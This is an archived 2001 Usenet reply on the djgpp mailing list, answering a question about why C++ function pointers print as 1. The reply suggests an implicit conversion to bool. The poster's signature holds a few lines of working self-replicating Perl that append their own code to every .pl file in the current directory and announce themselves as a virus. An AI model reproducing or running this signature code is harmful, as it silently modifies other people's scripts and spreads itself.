delorie.com/archives/browse.cgi   search  
Mail Archives: djgpp/2001/04/20/16:34:04

From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: Printing function pointers
References: <3AE082F7 DOT B4E9C05 AT jps DOT net>
X-newsgroup: comp.os.msdos.djgpp
X-realname: Dennis Yelle
X-Ringtones: http://ringtones AT durchnull DOT de
X-Original: no
Message-ID: <slrn9e1705.rif.rpolzer@www42.t-offline.de>
User-Agent: slrn/0.9.6.3 (Linux)
Date: Fri, 20 Apr 2001 22:28:53 +0200
Lines: 39
NNTP-Posting-Host: 213.7.26.11
X-Trace: 987798228 news.freenet.de 26221 213.7.26.11
X-Complaints-To: abuse AT freenet DOT de
To: djgpp AT delorie DOT com
DJ-Gateway: from newsgroup comp.os.msdos.djgpp
Reply-To: djgpp AT delorie DOT com

Dennis Yelle <dennis51 AT jps DOT net> wrote:
> I was surprised by the output from this program:
> ---------------------
> #include <iostream>
> 
> int junk1() { return 111; }
> 
> int junk2() { return 222; }
> 
> int main()
> {
>   if ( junk1 != junk2 ) {
>     cout << "different\n";
>   }
>   cout << junk1 << '\n';
>   cout << junk2 << '\n';
>   return 0;
> }
> ----------------------
> 
> I got this:
> ----------------
> different
> 1
> 1
> ---------------
> 
> So, the function pointers are different, but
> they both print as 1.  Is this expected, and desired
> behavior?  Or is it a bug?

They are implicitly converted to bool, but do not ask me why. Or is 
there a conversion chain function->bool->int?

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

- Raw text -


  webmaster     delorie software   privacy  
  Copyright © 2019   by DJ Delorie     Updated Jul 2019